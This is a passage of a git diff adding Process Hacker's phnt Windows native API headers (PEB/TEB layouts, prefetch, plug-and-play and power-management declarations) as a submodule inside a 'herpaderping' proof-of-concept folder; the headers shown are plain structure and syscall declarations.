PRTL_CRITICAL_SECTION LoaderLock; + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + ULONG_PTR ActiveProcessAffinityMask; + GDI_HANDLE_BUFFER GdiHandleBuffer; + PVOID PostProcessInitRoutine; + + PVOID TlsExpansionBitmap; + ULONG TlsExpansionBitmapBits[32]; + + ULONG SessionId; + + ULARGE_INTEGER AppCompatFlags; + ULARGE_INTEGER AppCompatFlagsUser; + PVOID pShimData; + PVOID AppCompatInfo; // APPCOMPAT_EXE_DATA + + UNICODE_STRING CSDVersion; + + PVOID ActivationContextData; // ACTIVATION_CONTEXT_DATA + PVOID ProcessAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP + PVOID SystemDefaultActivationContextData; // ACTIVATION_CONTEXT_DATA + PVOID SystemAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP + + SIZE_T MinimumStackCommit; + + PVOID SparePointers[4]; // 19H1 (previously FlsCallback to FlsHighIndex) + ULONG SpareUlongs[5]; // 19H1 + //PVOID* FlsCallback; + //LIST_ENTRY FlsListHead; + //PVOID FlsBitmap; + //ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)]; + //ULONG FlsHighIndex; + + PVOID WerRegistrationData; + PVOID WerShipAssertPtr; + PVOID pUnused; // pContextData + PVOID pImageHeaderHash; + union + { + ULONG TracingFlags; + struct + { + ULONG HeapTracingEnabled : 1; + ULONG CritSecTracingEnabled : 1; + ULONG LibLoaderTracingEnabled : 1; + ULONG SpareTracingBits : 29; + }; + }; + ULONGLONG CsrServerReadOnlySharedMemoryBase; + PRTL_CRITICAL_SECTION TppWorkerpListLock; + LIST_ENTRY TppWorkerpList; + PVOID WaitOnAddressHashTable[128]; + PVOID TelemetryCoverageHeader; // REDSTONE3 + ULONG CloudFileFlags; + ULONG CloudFileDiagFlags; // REDSTONE4 + CHAR PlaceholderCompatibilityMode; + CHAR PlaceholderCompatibilityModeReserved[7]; + struct _LEAP_SECOND_DATA *LeapSecondData; // REDSTONE5 + union + { + ULONG LeapSecondFlags; + struct + { + ULONG SixtySecondEnabled : 1; + ULONG Reserved : 31; + }; + }; + ULONG NtGlobalFlag2; +} PEB, *PPEB; + +#ifdef _WIN64 +C_ASSERT(FIELD_OFFSET(PEB, SessionId) == 0x2C0); +//C_ASSERT(sizeof(PEB) == 0x7B0); // REDSTONE3 +//C_ASSERT(sizeof(PEB) == 0x7B8); // REDSTONE4 +C_ASSERT(sizeof(PEB) == 0x7C8); // REDSTONE5 // 19H1 +#else +C_ASSERT(FIELD_OFFSET(PEB, SessionId) == 0x1D4); +//C_ASSERT(sizeof(PEB) == 0x468); // REDSTONE3 +//C_ASSERT(sizeof(PEB) == 0x470); // REDSTONE4 +C_ASSERT(sizeof(PEB) == 0x480); // REDSTONE5 // 19H1 +#endif + +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH +{ + ULONG Offset; + ULONG_PTR HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH, *PGDI_TEB_BATCH; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT +{ + ULONG Flags; + PSTR FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _TEB_ACTIVE_FRAME +{ + ULONG Flags; + struct _TEB_ACTIVE_FRAME *Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME; + +typedef struct _TEB +{ + NT_TIB NtTib; + + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID ReservedForDebuggerInstrumentation[16]; +#ifdef _WIN64 + PVOID SystemReserved1[30]; +#else + PVOID SystemReserved1[26]; +#endif + + CHAR PlaceholderCompatibilityMode; + CHAR PlaceholderReserved[11]; + ULONG ProxiedProcessId; + ACTIVATION_CONTEXT_STACK ActivationStack; + + UCHAR WorkingOnBehalfTicket[8]; + NTSTATUS ExceptionCode; + + PACTIVATION_CONTEXT_STACK ActivationContextStackPointer; + ULONG_PTR InstrumentationCallbackSp; + ULONG_PTR InstrumentationCallbackPreviousPc; + ULONG_PTR InstrumentationCallbackPreviousSp; +#ifdef _WIN64 + ULONG TxFsContext; +#endif + + BOOLEAN InstrumentationCallbackDisabled; +#ifndef _WIN64 + UCHAR SpareBytes[23]; + ULONG TxFsContext; +#endif + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + HANDLE GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + ULONG_PTR Win32ClientInfo[62]; + PVOID glDispatchTable[233]; + ULONG_PTR glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + PVOID DeallocationStack; + PVOID TlsSlots[64]; + LIST_ENTRY TlsLinks; + + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[2]; + + ULONG HardErrorMode; +#ifdef _WIN64 + PVOID Instrumentation[11]; +#else + PVOID Instrumentation[9]; +#endif + GUID ActivityId; + + PVOID SubProcessTag; + PVOID PerflibData; + PVOID EtwTraceData; + PVOID WinSockData; + ULONG GdiBatchCount; + + union + { + PROCESSOR_NUMBER CurrentIdealProcessor; + ULONG IdealProcessorValue; + struct + { + UCHAR ReservedPad0; + UCHAR ReservedPad1; + UCHAR ReservedPad2; + UCHAR IdealProcessor; + }; + }; + + ULONG GuaranteedStackBytes; + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; + PVOID SavedPriorityState; + ULONG_PTR ReservedForCodeCoverage; + PVOID ThreadPoolData; + PVOID *TlsExpansionSlots; +#ifdef _WIN64 + PVOID DeallocationBStore; + PVOID BStoreLimit; +#endif + ULONG MuiGeneration; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + USHORT HeapVirtualAffinity; + USHORT LowFragHeapDataSlot; + HANDLE CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; + PVOID FlsData; + + PVOID PreferredLanguages; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + + union + { + USHORT CrossTebFlags; + USHORT SpareCrossTebBits : 16; + }; + union + { + USHORT SameTebFlags; + struct + { + USHORT SafeThunkCall : 1; + USHORT InDebugPrint : 1; + USHORT HasFiberData : 1; + USHORT SkipThreadAttach : 1; + USHORT WerInShipAssertCode : 1; + USHORT RanProcessInit : 1; + USHORT ClonedThread : 1; + USHORT SuppressDebugMsg : 1; + USHORT DisableUserStackWalk : 1; + USHORT RtlExceptionAttached : 1; + USHORT InitialThread : 1; + USHORT SessionAware : 1; + USHORT LoadOwner : 1; + USHORT LoaderWorker : 1; + USHORT SkipLoaderInit : 1; + USHORT SpareSameTebBits : 1; + }; + }; + + PVOID TxnScopeEnterCallback; + PVOID TxnScopeExitCallback; + PVOID TxnScopeContext; + ULONG LockCount; + LONG WowTebOffset; + PVOID ResourceRetValue; + PVOID ReservedForWdf; + ULONGLONG ReservedForCrt; + GUID EffectiveContainerId; +} TEB, *PTEB; + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntpfapi.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntpfapi.h new file mode 100644 index 00000000..c47c98c0 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntpfapi.h @@ -0,0 +1,282 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _NTPFAPI_H +#define _NTPFAPI_H + +// begin_private + +// Prefetch + +typedef enum _PF_BOOT_PHASE_ID +{ + PfKernelInitPhase = 0, + PfBootDriverInitPhase = 90, + PfSystemDriverInitPhase = 120, + PfSessionManagerInitPhase = 150, + PfSMRegistryInitPhase = 180, + PfVideoInitPhase = 210, + PfPostVideoInitPhase = 240, + PfBootAcceptedRegistryInitPhase = 270, + PfUserShellReadyPhase = 300, + PfMaxBootPhaseId = 900 +} PF_BOOT_PHASE_ID; + +typedef enum _PF_ENABLE_STATUS +{ + PfSvNotSpecified, + PfSvEnabled, + PfSvDisabled, + PfSvMaxEnableStatus +} PF_ENABLE_STATUS; + +typedef struct _PF_TRACE_LIMITS +{ + ULONG MaxNumPages; + ULONG MaxNumSections; + LONGLONG TimerPeriod; +} PF_TRACE_LIMITS, *PPF_TRACE_LIMITS; + +typedef struct _PF_SYSTEM_PREFETCH_PARAMETERS +{ + PF_ENABLE_STATUS EnableStatus[2]; + PF_TRACE_LIMITS TraceLimits[2]; + ULONG MaxNumActiveTraces; + ULONG MaxNumSavedTraces; + WCHAR RootDirPath[32]; + WCHAR HostingApplicationList[128]; +} PF_SYSTEM_PREFETCH_PARAMETERS, *PPF_SYSTEM_PREFETCH_PARAMETERS; + +#define PF_BOOT_CONTROL_VERSION 1 + +typedef struct _PF_BOOT_CONTROL +{ + ULONG Version; + ULONG DisableBootPrefetching; +} PF_BOOT_CONTROL, *PPF_BOOT_CONTROL; + +typedef enum _PREFETCHER_INFORMATION_CLASS +{ + PrefetcherRetrieveTrace = 1, // q: CHAR[] + PrefetcherSystemParameters, // q: PF_SYSTEM_PREFETCH_PARAMETERS + PrefetcherBootPhase, // s: PF_BOOT_PHASE_ID + PrefetcherRetrieveBootLoaderTrace, // q: CHAR[] + PrefetcherBootControl // s: PF_BOOT_CONTROL +} PREFETCHER_INFORMATION_CLASS; + +#define PREFETCHER_INFORMATION_VERSION 23 // rev +#define PREFETCHER_INFORMATION_MAGIC ('kuhC') // rev + +typedef struct _PREFETCHER_INFORMATION +{ + ULONG Version; + ULONG Magic; + PREFETCHER_INFORMATION_CLASS PrefetcherInformationClass; + PVOID PrefetcherInformation; + ULONG PrefetcherInformationLength; +} PREFETCHER_INFORMATION, *PPREFETCHER_INFORMATION; + +// Superfetch + +typedef struct _PF_SYSTEM_SUPERFETCH_PARAMETERS +{ + ULONG EnabledComponents; + ULONG BootID; + ULONG SavedSectInfoTracesMax; + ULONG SavedPageAccessTracesMax; + ULONG ScenarioPrefetchTimeoutStandby; + ULONG ScenarioPrefetchTimeoutHibernate; +} PF_SYSTEM_SUPERFETCH_PARAMETERS, *PPF_SYSTEM_SUPERFETCH_PARAMETERS; + +#define PF_PFN_PRIO_REQUEST_VERSION 1 +#define PF_PFN_PRIO_REQUEST_QUERY_MEMORY_LIST 0x1 +#define PF_PFN_PRIO_REQUEST_VALID_FLAGS 0x1 + +typedef struct _PF_PFN_PRIO_REQUEST +{ + ULONG Version; + ULONG RequestFlags; + ULONG_PTR PfnCount; + SYSTEM_MEMORY_LIST_INFORMATION MemInfo; + MMPFN_IDENTITY PageData[256]; +} PF_PFN_PRIO_REQUEST, *PPF_PFN_PRIO_REQUEST; + +typedef enum _PFS_PRIVATE_PAGE_SOURCE_TYPE +{ + PfsPrivateSourceKernel, + PfsPrivateSourceSession, + PfsPrivateSourceProcess, + PfsPrivateSourceMax +} PFS_PRIVATE_PAGE_SOURCE_TYPE; + +typedef struct _PFS_PRIVATE_PAGE_SOURCE +{ + PFS_PRIVATE_PAGE_SOURCE_TYPE Type; + union + { + ULONG SessionId; + ULONG ProcessId; + }; + ULONG ImagePathHash; + ULONG_PTR UniqueProcessHash; +} PFS_PRIVATE_PAGE_SOURCE, *PPFS_PRIVATE_PAGE_SOURCE; + +typedef struct _PF_PRIVSOURCE_INFO +{ + PFS_PRIVATE_PAGE_SOURCE DbInfo; + PVOID EProcess; + SIZE_T WsPrivatePages; + SIZE_T TotalPrivatePages; + ULONG SessionID; + CHAR ImageName[16]; + union { + ULONG_PTR WsSwapPages; // process only PF_PRIVSOURCE_QUERY_WS_SWAP_PAGES. + ULONG_PTR SessionPagedPoolPages; // session only. + ULONG_PTR StoreSizePages; // process only PF_PRIVSOURCE_QUERY_STORE_INFO. + }; + ULONG_PTR WsTotalPages; // process/session only. + ULONG DeepFreezeTimeMs; // process only. + ULONG ModernApp : 1; // process only. + ULONG DeepFrozen : 1; // process only. If set, DeepFreezeTimeMs contains the time at which the freeze occurred + ULONG Foreground : 1; // process only. + ULONG PerProcessStore : 1; // process only. + ULONG Spare : 28; +} PF_PRIVSOURCE_INFO, *PPF_PRIVSOURCE_INFO; + +#define PF_PRIVSOURCE_QUERY_REQUEST_VERSION 8 + +typedef struct _PF_PRIVSOURCE_QUERY_REQUEST +{ + ULONG Version; + ULONG Flags; + ULONG InfoCount; + PF_PRIVSOURCE_INFO InfoArray[1]; +} PF_PRIVSOURCE_QUERY_REQUEST, *PPF_PRIVSOURCE_QUERY_REQUEST; + +typedef enum _PF_PHASED_SCENARIO_TYPE +{ + PfScenarioTypeNone, + PfScenarioTypeStandby, + PfScenarioTypeHibernate, + PfScenarioTypeFUS, + PfScenarioTypeMax +} PF_PHASED_SCENARIO_TYPE; + +#define PF_SCENARIO_PHASE_INFO_VERSION 4 + +typedef struct _PF_SCENARIO_PHASE_INFO +{ + ULONG Version; + PF_PHASED_SCENARIO_TYPE ScenType; + ULONG PhaseId; + ULONG SequenceNumber; + ULONG Flags; + ULONG FUSUserId; +} PF_SCENARIO_PHASE_INFO, *PPF_SCENARIO_PHASE_INFO; + +typedef struct _PF_MEMORY_LIST_NODE +{ + ULONGLONG Node : 8; + ULONGLONG Spare : 56; + ULONGLONG StandbyLowPageCount; + ULONGLONG StandbyMediumPageCount; + ULONGLONG StandbyHighPageCount; + ULONGLONG FreePageCount; + ULONGLONG ModifiedPageCount; +} PF_MEMORY_LIST_NODE, *PPF_MEMORY_LIST_NODE; + +#define PF_MEMORY_LIST_INFO_VERSION 1 + +typedef struct _PF_MEMORY_LIST_INFO +{ + ULONG Version; + ULONG Size; + ULONG NodeCount; + PF_MEMORY_LIST_NODE Nodes[1]; +} PF_MEMORY_LIST_INFO, *PPF_MEMORY_LIST_INFO; + +typedef struct _PF_PHYSICAL_MEMORY_RANGE +{ + ULONG_PTR BasePfn; + ULONG_PTR PageCount; +} PF_PHYSICAL_MEMORY_RANGE, *PPF_PHYSICAL_MEMORY_RANGE; + +#define PF_PHYSICAL_MEMORY_RANGE_INFO_V1_VERSION 1 + +typedef struct _PF_PHYSICAL_MEMORY_RANGE_INFO_V1 +{ + ULONG Version; + ULONG RangeCount; + PF_PHYSICAL_MEMORY_RANGE Ranges[1]; +} PF_PHYSICAL_MEMORY_RANGE_INFO_V1, *PPF_PHYSICAL_MEMORY_RANGE_INFO_V1; + +#define PF_PHYSICAL_MEMORY_RANGE_INFO_V2_VERSION 2 + +typedef struct _PF_PHYSICAL_MEMORY_RANGE_INFO_V2 +{ + ULONG Version; + ULONG Flags; + ULONG RangeCount; + PF_PHYSICAL_MEMORY_RANGE Ranges[ANYSIZE_ARRAY]; +} PF_PHYSICAL_MEMORY_RANGE_INFO_V2, *PPF_PHYSICAL_MEMORY_RANGE_INFO_V2; + +// begin_rev + +#define PF_REPURPOSED_BY_PREFETCH_INFO_VERSION 1 + +typedef struct _PF_REPURPOSED_BY_PREFETCH_INFO +{ + ULONG Version; + ULONG RepurposedByPrefetch; +} PF_REPURPOSED_BY_PREFETCH_INFO, *PPF_REPURPOSED_BY_PREFETCH_INFO; + +// end_rev + +typedef enum _SUPERFETCH_INFORMATION_CLASS +{ + SuperfetchRetrieveTrace = 1, // q: CHAR[] + SuperfetchSystemParameters, // q: PF_SYSTEM_SUPERFETCH_PARAMETERS + SuperfetchLogEvent, + SuperfetchGenerateTrace, + SuperfetchPrefetch, + SuperfetchPfnQuery, // q: PF_PFN_PRIO_REQUEST + SuperfetchPfnSetPriority, + SuperfetchPrivSourceQuery, // q: PF_PRIVSOURCE_QUERY_REQUEST + SuperfetchSequenceNumberQuery, // q: ULONG + SuperfetchScenarioPhase, // 10 + SuperfetchWorkerPriority, + SuperfetchScenarioQuery, // q: PF_SCENARIO_PHASE_INFO + SuperfetchScenarioPrefetch, + SuperfetchRobustnessControl, + SuperfetchTimeControl, + SuperfetchMemoryListQuery, // q: PF_MEMORY_LIST_INFO + SuperfetchMemoryRangesQuery, // q: PF_PHYSICAL_MEMORY_RANGE_INFO + SuperfetchTracingControl, + SuperfetchTrimWhileAgingControl, + SuperfetchRepurposedByPrefetch, // q: PF_REPURPOSED_BY_PREFETCH_INFO // rev + SuperfetchInformationMax +} SUPERFETCH_INFORMATION_CLASS; + +#define SUPERFETCH_INFORMATION_VERSION 45 // rev +#define SUPERFETCH_INFORMATION_MAGIC ('kuhC') // rev + +typedef struct _SUPERFETCH_INFORMATION +{ + _In_ ULONG Version; + _In_ ULONG Magic; + _In_ SUPERFETCH_INFORMATION_CLASS InfoClass; + _Inout_ PVOID Data; + _Inout_ ULONG Length; +} SUPERFETCH_INFORMATION, *PSUPERFETCH_INFORMATION; + +// end_private + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntpnpapi.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntpnpapi.h new file mode 100644 index 00000000..54ccd939 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntpnpapi.h @@ -0,0 +1,170 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _NTPNPAPI_H +#define _NTPNPAPI_H + +typedef enum _PLUGPLAY_EVENT_CATEGORY +{ + HardwareProfileChangeEvent, + TargetDeviceChangeEvent, + DeviceClassChangeEvent, + CustomDeviceEvent, + DeviceInstallEvent, + DeviceArrivalEvent, + PowerEvent, + VetoEvent, + BlockedDriverEvent, + InvalidIDEvent, + MaxPlugEventCategory +} PLUGPLAY_EVENT_CATEGORY, *PPLUGPLAY_EVENT_CATEGORY; + +typedef struct _PLUGPLAY_EVENT_BLOCK +{ + GUID EventGuid; + PLUGPLAY_EVENT_CATEGORY EventCategory; + PULONG Result; + ULONG Flags; + ULONG TotalSize; + PVOID DeviceObject; + + union + { + struct + { + GUID ClassGuid; + WCHAR SymbolicLinkName[1]; + } DeviceClass; + struct + { + WCHAR DeviceIds[1]; + } TargetDevice; + struct + { + WCHAR DeviceId[1]; + } InstallDevice; + struct + { + PVOID NotificationStructure; + WCHAR DeviceIds[1]; + } CustomNotification; + struct + { + PVOID Notification; + } ProfileNotification; + struct + { + ULONG NotificationCode; + ULONG NotificationData; + } PowerNotification; + struct + { + PNP_VETO_TYPE VetoType; + WCHAR DeviceIdVetoNameBuffer[1]; // DeviceIdVetoName + } VetoNotification; + struct + { + GUID BlockedDriverGuid; + } BlockedDriverNotification; + struct + { + WCHAR ParentId[1]; + } InvalidIDNotification; + } u; +} PLUGPLAY_EVENT_BLOCK, *PPLUGPLAY_EVENT_BLOCK; + +typedef enum _PLUGPLAY_CONTROL_CLASS +{ + PlugPlayControlEnumerateDevice, + PlugPlayControlRegisterNewDevice, + PlugPlayControlDeregisterDevice, + PlugPlayControlInitializeDevice, + PlugPlayControlStartDevice, + PlugPlayControlUnlockDevice, + PlugPlayControlQueryAndRemoveDevice, + PlugPlayControlUserResponse, + PlugPlayControlGenerateLegacyDevice, + PlugPlayControlGetInterfaceDeviceList, + PlugPlayControlProperty, + PlugPlayControlDeviceClassAssociation, + PlugPlayControlGetRelatedDevice, + PlugPlayControlGetInterfaceDeviceAlias, + PlugPlayControlDeviceStatus, + PlugPlayControlGetDeviceDepth, + PlugPlayControlQueryDeviceRelations, + PlugPlayControlTargetDeviceRelation, + PlugPlayControlQueryConflictList, + PlugPlayControlRetrieveDock, + PlugPlayControlResetDevice, + PlugPlayControlHaltDevice, + PlugPlayControlGetBlockedDriverList, + PlugPlayControlGetDeviceInterfaceEnabled, + MaxPlugPlayControl +} PLUGPLAY_CONTROL_CLASS, *PPLUGPLAY_CONTROL_CLASS; + +#if (PHNT_VERSION < PHNT_WIN8) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetPlugPlayEvent( + _In_ HANDLE EventHandle, + _In_opt_ PVOID Context, + _Out_writes_bytes_(EventBufferSize) PPLUGPLAY_EVENT_BLOCK EventBlock, + _In_ ULONG EventBufferSize + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtPlugPlayControl( + _In_ PLUGPLAY_CONTROL_CLASS PnPControlClass, + _Inout_updates_bytes_(PnPControlDataLength) PVOID PnPControlData, + _In_ ULONG PnPControlDataLength + ); + +#if (PHNT_VERSION >= PHNT_WIN7) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSerializeBoot( + VOID + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtEnableLastKnownGood( + VOID + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDisableLastKnownGood( + VOID + ); + +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtReplacePartitionUnit( + _In_ PUNICODE_STRING TargetInstancePath, + _In_ PUNICODE_STRING SpareInstancePath, + _In_ ULONG Flags + ); +#endif + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntpoapi.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntpoapi.h new file mode 100644 index 00000000..5a6ce4c1 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntpoapi.h @@ -0,0 +1,193 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _NTPOAPI_H +#define _NTPOAPI_H + +typedef union _POWER_STATE +{ + SYSTEM_POWER_STATE SystemState; + DEVICE_POWER_STATE DeviceState; +} POWER_STATE, *PPOWER_STATE; + +typedef enum _POWER_STATE_TYPE +{ + SystemPowerState = 0, + DevicePowerState +} POWER_STATE_TYPE, *PPOWER_STATE_TYPE; + +#if (PHNT_VERSION >= PHNT_VISTA) +// wdm +typedef struct _SYSTEM_POWER_STATE_CONTEXT +{ + union + { + struct + { + ULONG Reserved1 : 8; + ULONG TargetSystemState : 4; + ULONG EffectiveSystemState : 4; + ULONG CurrentSystemState : 4; + ULONG IgnoreHibernationPath : 1; + ULONG PseudoTransition : 1; + ULONG Reserved2 : 10; + }; + ULONG ContextAsUlong; + }; +} SYSTEM_POWER_STATE_CONTEXT, *PSYSTEM_POWER_STATE_CONTEXT; +#endif + +#if (PHNT_VERSION >= PHNT_WIN7) +/** \cond NEVER */ // disable doxygen warning +// wdm +typedef struct _COUNTED_REASON_CONTEXT +{ + ULONG Version; + ULONG Flags; + union + { + struct + { + UNICODE_STRING ResourceFileName; + USHORT ResourceReasonId; + ULONG StringCount; + PUNICODE_STRING _Field_size_(StringCount) ReasonStrings; + }; + UNICODE_STRING SimpleString; + }; +} COUNTED_REASON_CONTEXT, *PCOUNTED_REASON_CONTEXT; +/** \endcond */ +#endif + +typedef enum _POWER_STATE_HANDLER_TYPE +{ + PowerStateSleeping1 = 0, + PowerStateSleeping2 = 1, + PowerStateSleeping3 = 2, + PowerStateSleeping4 = 3, + PowerStateShutdownOff = 4, + PowerStateShutdownReset = 5, + PowerStateSleeping4Firmware = 6, + PowerStateMaximum = 7 +} POWER_STATE_HANDLER_TYPE, *PPOWER_STATE_HANDLER_TYPE; + +typedef NTSTATUS (NTAPI *PENTER_STATE_SYSTEM_HANDLER)( + _In_ PVOID SystemContext + ); + +typedef NTSTATUS (NTAPI *PENTER_STATE_HANDLER)( + _In_ PVOID Context, + _In_opt_ PENTER_STATE_SYSTEM_HANDLER SystemHandler, + _In_ PVOID SystemContext, + _In_ LONG NumberProcessors, + _In_ volatile PLONG Number + ); + +typedef struct _POWER_STATE_HANDLER +{ + POWER_STATE_HANDLER_TYPE Type; + BOOLEAN RtcWake; + UCHAR Spare[3]; + PENTER_STATE_HANDLER Handler; + PVOID Context; +} POWER_STATE_HANDLER, *PPOWER_STATE_HANDLER; + +typedef NTSTATUS (NTAPI *PENTER_STATE_NOTIFY_HANDLER)( + _In_ POWER_STATE_HANDLER_TYPE State, + _In_ PVOID Context, + _In_ BOOLEAN Entering + ); + +typedef struct _POWER_STATE_NOTIFY_HANDLER +{ + PENTER_STATE_NOTIFY_HANDLER Handler; + PVOID Context; +} POWER_STATE_NOTIFY_HANDLER, *PPOWER_STATE_NOTIFY_HANDLER; + +typedef struct _PROCESSOR_POWER_INFORMATION +{ + ULONG Number; + ULONG MaxMhz; + ULONG CurrentMhz; + ULONG MhzLimit; + ULONG MaxIdleState; + ULONG CurrentIdleState; +} PROCESSOR_POWER_INFORMATION, *PPROCESSOR_POWER_INFORMATION; + +typedef struct _SYSTEM_POWER_INFORMATION +{ + ULONG MaxIdlenessAllowed; + ULONG Idleness; + ULONG TimeRemaining; + UCHAR CoolingMode; +} SYSTEM_POWER_INFORMATION, *PSYSTEM_POWER_INFORMATION; + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtPowerInformation( + _In_ POWER_INFORMATION_LEVEL InformationLevel, + _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetThreadExecutionState( + _In_ EXECUTION_STATE NewFlags, // ES_* flags + _Out_ EXECUTION_STATE *PreviousFlags + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRequestWakeupLatency( + _In_ LATENCY_TIME latency + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtInitiatePowerAction( + _In_ POWER_ACTION SystemAction, + _In_ SYSTEM_POWER_STATE LightestSystemState, + _In_ ULONG Flags, // POWER_ACTION_* flags + _In_ BOOLEAN Asynchronous + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetSystemPowerState( + _In_ POWER_ACTION SystemAction, + _In_ SYSTEM_POWER_STATE LightestSystemState, + _In_ ULONG Flags // POWER_ACTION_* flags + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetDevicePowerState( + _In_ HANDLE Device, + _Out_ PDEVICE_POWER_STATE State + ); + +NTSYSCALLAPI +BOOLEAN +NTAPI +NtIsSystemResumeAutomatic( + VOID + ); + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntpsapi.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntpsapi.h new file mode 100644 index 00000000..9c852fbb --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntpsapi.h @@ -0,0 +1,2060 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _NTPSAPI_H +#define _NTPSAPI_H + +#if (PHNT_MODE == PHNT_MODE_KERNEL) +#define PROCESS_TERMINATE 0x0001 +#define PROCESS_CREATE_THREAD 0x0002 +#define PROCESS_SET_SESSIONID 0x0004 +#define PROCESS_VM_OPERATION 0x0008 +#define PROCESS_VM_READ 0x0010 +#define PROCESS_VM_WRITE 0x0020 +#define PROCESS_CREATE_PROCESS 0x0080 +#define PROCESS_SET_QUOTA 0x0100 +#define PROCESS_SET_INFORMATION 0x0200 +#define PROCESS_QUERY_INFORMATION 0x0400 +#define PROCESS_SET_PORT 0x0800 +#define PROCESS_SUSPEND_RESUME 0x0800 +#define PROCESS_QUERY_LIMITED_INFORMATION 0x1000 +#else +#ifndef PROCESS_SET_PORT +#define PROCESS_SET_PORT 0x0800 +#endif +#endif + +#if (PHNT_MODE == PHNT_MODE_KERNEL) +#define THREAD_QUERY_INFORMATION 0x0040 +#define THREAD_SET_THREAD_TOKEN 0x0080 +#define THREAD_IMPERSONATE 0x0100 +#define THREAD_DIRECT_IMPERSONATION 0x0200 +#else +#ifndef THREAD_ALERT +#define THREAD_ALERT 0x0004 +#endif +#endif + +#if (PHNT_MODE == PHNT_MODE_KERNEL) +#define JOB_OBJECT_ASSIGN_PROCESS 0x0001 +#define JOB_OBJECT_SET_ATTRIBUTES 0x0002 +#define JOB_OBJECT_QUERY 0x0004 +#define JOB_OBJECT_TERMINATE 0x0008 +#define 